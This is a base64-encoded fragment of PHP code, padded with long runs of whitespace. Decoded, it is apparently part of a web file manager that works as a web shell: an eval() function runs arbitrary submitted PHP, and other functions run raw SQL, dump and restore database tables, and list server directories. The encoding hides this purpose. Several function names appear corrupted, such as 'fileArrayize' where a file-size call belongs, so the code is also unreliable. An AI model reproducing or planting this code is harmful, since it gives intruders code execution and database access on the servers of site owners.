CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgaWYoaXNfZmlsZSgkZi4nLycuJGZpbGVfZ2V0KSkgJHNpemUrPWZpbGVBcnJheWl6ZSgkZi4nLycuJGZpbGVfZ2V0KTsNCgkgICAgIAkgICAgIAkgICAgIGVsc2UgJHNpemUrPWZtX2Rpcl9zaXplKCRmLicvJy4kZmlsZV9nZXQsZmFsc2UpOw0KDQoJICAgICAJICAgICB9DQoJICAgICAJICAgICBjbG9zZWRpcigkZGgpOw0KDQoJICAgICAJICAgICByZXR1cm4gJHNpemUrZmlsZUFycmF5aXplKCRmKTsgDQoNCgkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCn0NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KLy9zY2FuIGRpcmVjdG9yeQ0KZnVuY3Rpb24gZm1fc2Nhbl9kaXIoJGRpcmVjdG9yeSwgJGV4cCA9ICcnLCAkdHlwZSA9ICdhbGwnLCAkZG9fbm90X2ZpbHRlciA9IGZhbHNlKSB7DQoNCgkgICAgICRkaXIgPSAkbmRpciA9IGFycmF5KCk7DQoNCgkgICAgIGlmKCFlbXB0eSgkZXhwKSl7DQoNCgkgICAgIAkgICAgICRleHAgPSAnL14nIC4gc3RyX3JlcGxhY2UoJyonLCAnKC4qKScsIHN0cl9yZXBsYWNlKCcuJywgJ1xcLicsICRleHApKSAuICckLyc7DQoNCgkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBpZighZW1wdHkoJHR5cGUpICYmICR0eXBlICE9PSAnYWxsJyl7DQoJICAgICAJICAgICAkZnVuYyA9ICdpc18nIC4gJHR5cGU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgfQ0KCSAgICAgaWYoQGlzX2RpcigkZGlyZWN0b3J5KSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkZmggPSBvcGVuZGlyKCRkaXJlY3RvcnkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRmaCkpKSB7DQoNCgkgICAgIAkgICAgIAkgICAgIGlmKHN1YnN0cigkZmlsZW5hbWUsIDAsIDEpICE9ICcuJyB8fCAkZG9fbm90X2ZpbHRlcikgew0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYoKGVtcHR5KCR0eXBlKSB8fCAkdHlwZSA9PSAnYWxsJyB8fCAkZnVuYygkZGlyZWN0b3J5IC4gJy8nIC4gJGZpbGVuYW1lKSkgJiYgKGVtcHR5KCRleHApIHx8IHByZWdfbWF0Y2goJGV4cCwgJGZpbGVuYW1lKSkpew0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGRpcltdID0gJGZpbGVuYW1lOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICB9DQoJICAgICAJICAgICAJICAgICB9DQoJICAgICAJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgY2xvc2VkaXIoJGZoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgbmF0c29ydCgkZGlyKTsNCg0KCSAgICAgfQ0KCSAgICAgcmV0dXJuICRkaXI7DQoNCn0NCg0KDQpmdW5jdGlvbiBmbV9saW5rKCRnZXQsJGxpbmssJG5hbWUsJHRpdGxlPScnKSB7DQoJICAgICBpZiAoZW1wdHkoJHRpdGxlKSkgJHRpdGxlPSRuYW1lLicgJy5iYXNlbmFtZSgkbGluayk7DQoNCgkgICAgIHJldHVybiAnJm5ic3A7Jm5ic3A7PGEgaHJlZj0iPycuJGdldC4nPScuYmFzZTY0X2VuY29kZSgkbGluaykuJyIgdGl0bGU9IicuJHRpdGxlLiciPicuJG5hbWUuJzwvYT4nOw0KDQp9DQoNCg0KZnVuY3Rpb24gZm1fYXJyX3RvX29wdGlvbigkYXJyLCRuLCRzZWw9Jycpew0KCSAgICAgZm9yZWFjaCgkYXJyIGFzICR2X2NoZWNrcyl7DQoNCgkgICAgIAkgICAgICRiPSR2X2NoZWNrc1skbl07DQoJICAgICAJICAgICAkcmVzLj0nPG9wdGlvbiB2YWx1ZT0iJy4kYi4nIiAnLigkc2VsICYmICRzZWw9PSRiPydzZWxlY3RlZCc6JycpLic+Jy4kYi4nPC9vcHRpb24+JzsNCg0KCSAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgcmV0dXJuICRyZXM7DQoNCn0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQpmdW5jdGlvbiBmbV9sYW5nX2Zvcm0gKCRjdXJyZW50PSdlbicpew0KDQpyZXR1cm4gJw0KPGZvcm0gbmFtZT0iY2hhbmdlX2xhbmciIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIDxzZWxlY3QgbmFtZT0iZm1fbGFuZyIgdGl0bGU9IicuX18oJ0xhbmd1YWdlJykuJyIgb25jaGFuZ2U9ImRvY3VtZW50LmZvcm1zW1wnY2hhbmdlX2xhbmdcJ10uc3VibWl0KCkiID4NCgkgICAgIAkgICAgIDxvcHRpb24gdmFsdWU9ImVuIiAnLigkY3VycmVudD09J2VuJz8nc2VsZWN0ZWQ9InNlbGVjdGVkIiAnOicnKS4nPicuX18oJ0VuZ2xpc2gnKS4nPC9vcHRpb24+DQoNCgkgICAgIAkgICAgIDxvcHRpb24gdmFsdWU9ImRlIiAnLigkY3VycmVudD09J2RlJz8nc2VsZWN0ZWQ9InNlbGVjdGVkIiAnOicnKS4nPicuX18oJ0dlcm1hbicpLic8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICA8b3B0aW9uIHZhbHVlPSJydSIgJy4oJGN1cnJlbnQ9PSdydSc/J3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdSdXNzaWFuJykuJzwvb3B0aW9uPg0KDQoJICAgICAJICAgICA8b3B0aW9uIHZhbHVlPSJmciIgJy4oJGN1cnJlbnQ9PSdmcic/J3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdGcmVuY2gnKS4nPC9vcHRpb24+DQoJICAgICAJICAgICA8b3B0aW9uIHZhbHVlPSJ1ayIgJy4oJGN1cnJlbnQ9PSd1ayc/J3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdVa3JhaW5pYW4nKS4nPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgPC9zZWxlY3Q+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQonOw0KfQ0KDQoJICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCmZ1bmN0aW9uIGZtX3Jvb3QoJGRpcm5hbWUpew0KDQoJICAgICByZXR1cm4gKCRkaXJuYW1lPT0nLicgT1IgJGRpcm5hbWU9PScuLicpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQoNCg0KDQpmdW5jdGlvbiBmbV9waHAoJHN0cmluZyl7DQoNCgkgICAgICRkaXNwbGF5X2ZhaWx1cmVMb2dzPWluaV9nZXQoJ2Rpc3BsYXlfZmFpbHVyZUxvZ3MnKTsNCg0KCSAgICAgaW5pX3NldCgnZGlzcGxheV9mYWlsdXJlTG9ncycsICcxJyk7DQoJICAgICBvYl9zdGFydCgpOw0KDQoJICAgICBldmFsKHRyaW0oJHN0cmluZykpOw0KDQoJICAgICAkdGV4dCA9IG9iX2dldF9jb250ZW50cygpOw0KDQoJICAgICBvYl9lbmRfY2xlYW4oKTsNCgkgICAgIGluaV9zZXQoJ2Rpc3BsYXlfZmFpbHVyZUxvZ3MnLCAkZGlzcGxheV9mYWlsdXJlTG9ncyk7DQoNCgkgICAgIHJldHVybiAkdGV4dDsNCg0KfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQoNCi8vU0hPVyBEQVRBQkFTRVMNCg0KZnVuY3Rpb24gZm1fc3FsX2Nvbm5lY3QoKXsNCg0KCSAgICAgZ2xvYmFsICRmbV9jb25maWc7DQoNCgkgICAgIHJldHVybiBuZXcgbXlzcWxpKCRmbV9jb25maWdbJ3NxbF9zZXJ2ZXInXSwgJGZtX2NvbmZpZ1snc3FsX3VzZXJuYW1lJ10sICRmbV9jb25maWdbJ3NxbF9wYXNzd29yZCddLCAkZm1fY29uZmlnWydzcWxfZGInXSk7DQp9DQoNCg0KDQpmdW5jdGlvbiBmbV9zcWwoJHF1ZXJ5KXsNCg0KCSAgICAgZ2xvYmFsICRmbV9jb25maWc7DQoJICAgICAkcXVlcnk9dHJpbSgkcXVlcnkpOw0KDQoJICAgICBvYl9zdGFydCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAkY29ubmVjdGlvbiA9IGZtX3NxbF9jb25uZWN0KCk7DQoNCgkgICAgIGlmICgkY29ubmVjdGlvbi0+Y29ubmVjdF9lcnJvcikgew0KDQoJICAgICAJICAgICBvYl9lbmRfY2xlYW4oKTsJICAgICANCg0KCSAgICAgCSAgICAgcmV0dXJuICRjb25uZWN0aW9uLT5jb25uZWN0X2Vycm9yOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgfQ0KCSAgICAgJGNvbm5lY3Rpb24tPnNldF9jaGFyc2V0KCd1dGY4Jyk7DQoNCiAgICAkcXVlcmllZCA9IG15c3FsaV9xdWVyeSgkY29ubmVjdGlvbiwkcXVlcnkpOw0KDQoJICAgICBpZiAoJHF1ZXJpZWQ9PT1mYWxzZSkgew0KCSAgICAgCSAgICAgb2JfZW5kX2NsZWFuKCk7CSAgICAgDQoNCgkgICAgIAkgICAgIHJldHVybiBteXNxbGlfZXJyb3IoJGNvbm5lY3Rpb24pOw0KDQogICAgfSBlbHNlIHsNCg0KCSAgICAgCSAgICAgaWYoIWVtcHR5KCRxdWVyaWVkKSl7DQoNCgkgICAgIAkgICAgIAkgICAgIHdoaWxlKCRyb3cgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHF1ZXJpZWQpKSB7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgICRxdWVyeV9yZXN1bHRbXT0gICRyb3c7DQoJICAgICAJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgIH0NCgkgICAgIAkgICAgICR2ZHVtcD1lbXB0eSgkcXVlcnlfcmVzdWx0KT8nJzp2YXJfZXhwb3J0KCRxdWVyeV9yZXN1bHQsdHJ1ZSk7CSAgICAgDQoJICAgICAJICAgICBvYl9lbmRfY2xlYW4oKTsJICAgICANCgkgICAgIAkgICAgICRjb25uZWN0aW9uLT5jbG9zZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIHJldHVybiAnPHByZT4nLnN0cmlwc2xhc2hlcygkdmR1bXApLic8L3ByZT4nOw0KDQoJICAgICB9DQoNCn0NCg0KDQpmdW5jdGlvbiBmbV9iYWNrdXBfdGFibGVzKCR0YWJsZXMgPSAnKicsICRmdWxsX2JhY2t1cCA9IHRydWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBnbG9iYWwgJHBhdGg7DQoJICAgICAkbXlzcWxkYiA9IGZtX3NxbF9jb25uZWN0KCk7DQoNCgkgICAgICRkZWxpbWl0ZXIgPSAiOyBcbiAgXG4iOw0KDQoJICAgICBpZigkdGFibGVzID09ICcqJykJICAgICB7DQoJICAgICAJICAgICAkdGFibGVzID0gYXJyYXkoKTsNCg0KCSAgICAgCSAgICAgJHJlc3VsdCA9ICRteXNxbGRiLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsNCg0KCSAgICAgCSAgICAgd2hpbGUoJHJvdyA9IG15c3FsaV9mZXRjaF9yb3coJHJlc3VsdCkpCSAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgJHRhYmxlc1tdID0gJHJvd1swXTsNCg0KCSAgICAgCSAgICAgfQ0KDQoJICAgICB9IGVsc2Ugew0KCSAgICAgCSAgICAgJHRhYmxlcyA9IGlzX2FycmF5KCR0YWJsZXMpID8gJHRhYmxlcyA6IGV4cGxvZGUoJywnLCR0YWJsZXMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIH0NCiAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgJHJldHVybj0nJzsNCg0KCSAgICAgZm9yZWFjaCgkdGFibGVzIGFzICR0YWJsZSkJICAgICB7DQoJICAgICAJICAgICAkcmVzdWx0ID0gJG15c3FsZGItPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKTsNCgkgICAgIAkgICAgICRudW1fZmllbGRzID0gbXlzcWxpX251bV9maWVsZHMoJHJlc3VsdCk7DQoNCgkgICAgIAkgICAgICRyZXR1cm4uPSAnRFJPUCBUQUJMRSBJRiBFWElTVFMgYCcuJHRhYmxlLidgJy4kZGVsaW1pdGVyOw0KDQoJICAgICAJICAgICAkcm93MiA9IG15c3FsaV9mZXRjaF9yb3coJG15c3FsZGItPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSAnLiR0YWJsZSkpOw0KCSAgICAgCSAgICAgJHJldHVybi49JHJvdzJbMV0uJGRlbGltaXRlcjsNCg0KICAgICAgICBpZiAoJGZ1bGxfYmFja3VwKSB7DQoJICAgICAJICAgICBmb3IgKCRpID0gMDsgJGkgPCAkbnVtX2ZpZWxkczsgJGkrKykgIHsNCg0KCSAgICAgCSAgICAgCSAgICAgd2hpbGUoJHJvdyA9IG15c3FsaV9mZXRjaF9yb3coJHJlc3VsdCkpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHJldHVybi49ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgVkFMVUVTKCc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgZm9yKCRqPTA7ICRqPCRudW1fZmllbGRzOyAkaisrKQkgICAgIHsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHJvd1skal0gPSBhZGRzbGFzaGVzKCRyb3dbJGpdKTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICRyb3dbJGpdID0gc3RyX3JlcGxhY2UoIlxuIiwiXFxuIiwkcm93WyRqXSk7DQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICBpZiAoaXNzZXQoJHJvd1skal0pKSB7ICRyZXR1cm4uPSAnIicuJHJvd1skal0uJyInIDsgfSBlbHNlIHsgJHJldHVybi49ICciIic7IH0NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCRqPCgkbnVtX2ZpZWxkcy0xKSkgeyAkcmV0dXJuLj0gJywnOyB9DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHJldHVybi49ICcpJy4kZGVsaW1pdGVyOw0KDQoJICAgICAJICAgICAJICAgICB9DQoJICAgICAJICAgICAgIH0NCg0KDQoNCg0KCSAgICAgCSAgICAgfSBlbHNlIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgICRyZXR1cm4gPSBwcmVnX3JlcGxhY2UoIiNBVVRPX0lOQ1JFTUVOVD1bXGRdKyAjaXMiLCAnJywgJHJldHVybik7DQoJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgICRyZXR1cm4uPSJcblxuXG4iOw0KDQoJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAvL3NhdmUgZmlsZQ0KICAgICRmaWxlX2dldD1nbWRhdGUoIlktbS1kX0gtaS1zIix0aW1lKCkpLicuc3FsJzsNCg0KCSAgICAgJGhhbmRsZSA9IGZvcGVuKCRmaWxlX2dldCwndysnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgZndyaXRlKCRoYW5kbGUsJHJldHVybik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgZmNsb3NlKCRoYW5kbGUpOw0KDQoJICAgICAkYWxlcnQgPSAnb25DbGljaz0iaWYoY29uZmlybShcJycuIF9fKCdGaWxlIHNlbGVjdGVkJykuJzogXG4nLiAkZmlsZV9nZXQuICcuIFxuJy5fXygnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGZpbGU/JykgLiAnXCcpKSBkb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gXCc/ZGVsZXRlPScgLiAkZmlsZV9nZXQgLiAnJnBhdGg9JyAuICRwYXRoICAuICdcJyInOw0KDQogICAgcmV0dXJuICRmaWxlX2dldC4nOiAnLmZtX2xpbmsoJ2Rvd25sb2FkJywkcGF0aC4kZmlsZV9nZXQsX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiRmaWxlX2dldCkuJyA8YSBocmVmPSIjIiB0aXRsZT0iJyAuIF9fKCdEZWxldGUnKSAuICcgJy4gJGZpbGVfZ2V0IC4gJyIgJyAuICRhbGVydCAuICc+JyAuIF9fKCdEZWxldGUnKSAuICc8L2E+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KfQ0KDQoNCmZ1bmN0aW9uIGZtX3Jlc3RvcmVfdGFibGVzKCRzcWxGaWxlVG9FeGVjdXRlKSB7DQoNCgkgICAgICRteXNxbGRiID0gZm1fc3FsX2Nvbm5lY3QoKTsNCg0KCSAgICAgJGRlbGltaXRlciA9ICI7IFxuICBcbiI7DQoNCiAgICAvLyBMb2FkIGFuZCBleHBsb2RlIHRoZSBzcWwgZmlsZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAkZiA9IGZvcGVuKCRzcWxGaWxlVG9FeGVjdXRlLCJyKyIpOw0KICAgICRzcWxGaWxlID0gZnJlYWQoJGYsZmlsZUFycmF5aXplKCRzcWxGaWxlVG9FeGVjdXRlKSk7DQoNCiAgICAkc3FsQXJyYXkgPSBleHBsb2RlKCRkZWxpbWl0ZXIsJHNxbEZpbGUpOw0KDQoJICAgICANCiAgICAvL1Byb2Nlc3MgdGhlIHNxbCBmaWxlIGJ5IHN0YXRlbWVudHMNCg0KICAgIGZvcmVhY2ggKCRzcWxBcnJheSBhcyAkc3RtdCkgew0KDQogICAgICAgIGlmIChzdHJsZW4oJHN0bXQpPjMpew0KDQoJICAgICAJICAgICAJICAgICAkcmVzdWx0ID0gJG15c3FsZGItPnF1ZXJ5KCRzdG10KTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCEkcmVzdWx0KXsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHNxbEVycm9yQ29kZSA9IG15c3FsaV9lcnJubygkbXlzcWxkYi0+Y29ubmVjdGlvbik7DQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAkc3FsRXJyb3JUZXh0ID0gbXlzcWxpX2Vycm9yKCRteXNxbGRiLT5jb25uZWN0aW9uKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAkc3FsU3RtdCAgICAgID0gJHN0bXQ7DQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICBicmVhazsNCiAgICAgICAgICAgCSAgICAgICAgICB9DQogICAgICAgICAgIAkgICAgICAgfQ0KDQogICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCmlmIChlbXB0eSgkc3FsRXJyb3JDb2RlKSkgcmV0dXJuIF9fKCdTdWNjZXNzJykuJyDvv73vv70gJy4kc3FsRmlsZVRvRXhlY3V0ZTsNCg0KZWxzZSByZXR1cm4gJHNxbEVycm9yVGV4dC4nPGJyLz4nLiRzdG10Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCn0NCg0KZnVuY3Rpb24gZm1faW1nX2xpbmsoJGZpbGVuYW1lKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIHJldHVybiAnLi8nLmJhc2VuYW1lKF9fRklMRV9fKS4nP2ltZz0nLmJhc2U2NF9lbmNvZGUoJGZpbGVuYW1lKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg